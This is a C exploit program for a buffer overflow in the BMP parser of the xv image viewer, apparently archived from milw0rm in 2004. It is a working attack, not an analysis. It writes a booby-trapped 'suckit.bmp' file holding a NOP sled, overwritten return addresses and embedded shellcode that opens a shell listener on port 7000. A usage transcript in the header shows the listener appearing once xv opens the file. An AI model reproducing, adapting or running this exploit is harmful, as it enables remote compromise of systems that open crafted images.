/*
* xv exploit for the bmp parsing buffer overflow
*
* infamous42md AT hotpop DOT com
* PEOPLE STOP EMAILING MY BUGTRAQ ADDRESS AND USE THIS ONE!!
*
* [n00b_at_localho.outernet] gcc -Wall xv_bmpslap.c
* [n00b_at_localho.outernet] ./a.out
* Usage: ./a.out < retaddr > [ align ]
* [n00b_at_localho.outernet] ./a.out 0xbffff388
* [n00b_at_localho.outernet] netstat -ant | grep 7000
* [n00b_at_localho.outernet] ./xv suckit.bmp
* [n00b_at_localho.outernet] netstat -ant | grep 7000
* tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN
    *
*/
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>



#define ALIGN 0
#define NOP 0x90
#define NNOPS 256
#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
#define BS 0x10000
#define OUTFILE "suckit.bmp"
#define OVERWRITE_BYTES 700



/* a bitmap header structure */
#define BMP_HDR_SZ sizeof(struct bmp)
struct bmp {
    u_char type[2];
    u_int bfsize,
            reserved,
            offbits,
            bisize, /* 40 */
            width,
            height;
    u_short planes, /* 1 */
            bitcount; /* 4 */
    u_int compres, /* != 1 */
            szimg,
            xppm,
            ypppm,
            clrused, /* write length */
            clrimportant;
} __attribute__ ((packed));



/* for easy access */
typedef union _ret {
    u_long ret;
    u_char retb[sizeof(u_long)];
} ret_t;



/* call them on port 7000, mine */
char remote[] =
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xa1\x5f\x66\x6e\x69";



void make_bmp(char *buf, int len)
{
    int fd = 0;


    /* create the 3vil file */
    if( (fd = open(OUTFILE, O_RDWR|O_CREAT, 0666)) < 0)
        die("open");

    if(write(fd, buf, len) < 0)
        die("write");


    close(fd);
}


/*
*
*/
int main(int argc, char **argv)
{
    int len, x, align = ALIGN;
    char buf[BS];
    ret_t retaddr;
    struct bmp bmp;

    if(argc < 2){
        fprintf(stderr, "\tUsage: %s < retaddr > [ align ]\n", argv[0]);
        return EXIT_FAILURE;
    }
    if(argc > 2){
        align = atoi(argv[2]);
        if(align < 0 || align > 3)
            die("get bent bitch");
    }
    sscanf(argv[1], "%lx", &retaddr.ret);


    /* setup bitmap */
    memset(&bmp, 0, BMP_HDR_SZ);
    bmp.type[0] = 'B', bmp.type[1] = 'M';
    bmp.bisize = 40;
    bmp.bitcount = 4;
    bmp.clrused = OVERWRITE_BYTES;
    bmp.planes = 1;

    /* create 3vil buf */
    memset(buf, NOP, BS);
    memcpy(buf, &bmp, BMP_HDR_SZ);
    len = BMP_HDR_SZ;
    len += align;

    /* fill in ret address starting at byte offset 0, every other 4 bytes */
    for(x = 0; x < OVERWRITE_BYTES; x++)
        buf[len + (x*4)] = retaddr.retb[x & 0x3];


    /* fill in shell after NOPS, at byte offset 2, every other 4 bytes */
    for(x = 0; x < strlen(remote); x++)
        buf[len + (NNOPS*4) + (x*4) + 2] = remote[x];


    /* extra */
    len += OVERWRITE_BYTES * 10;
    make_bmp(buf, len);


    return 0;
}

// milw0rm.com [2004-08-20]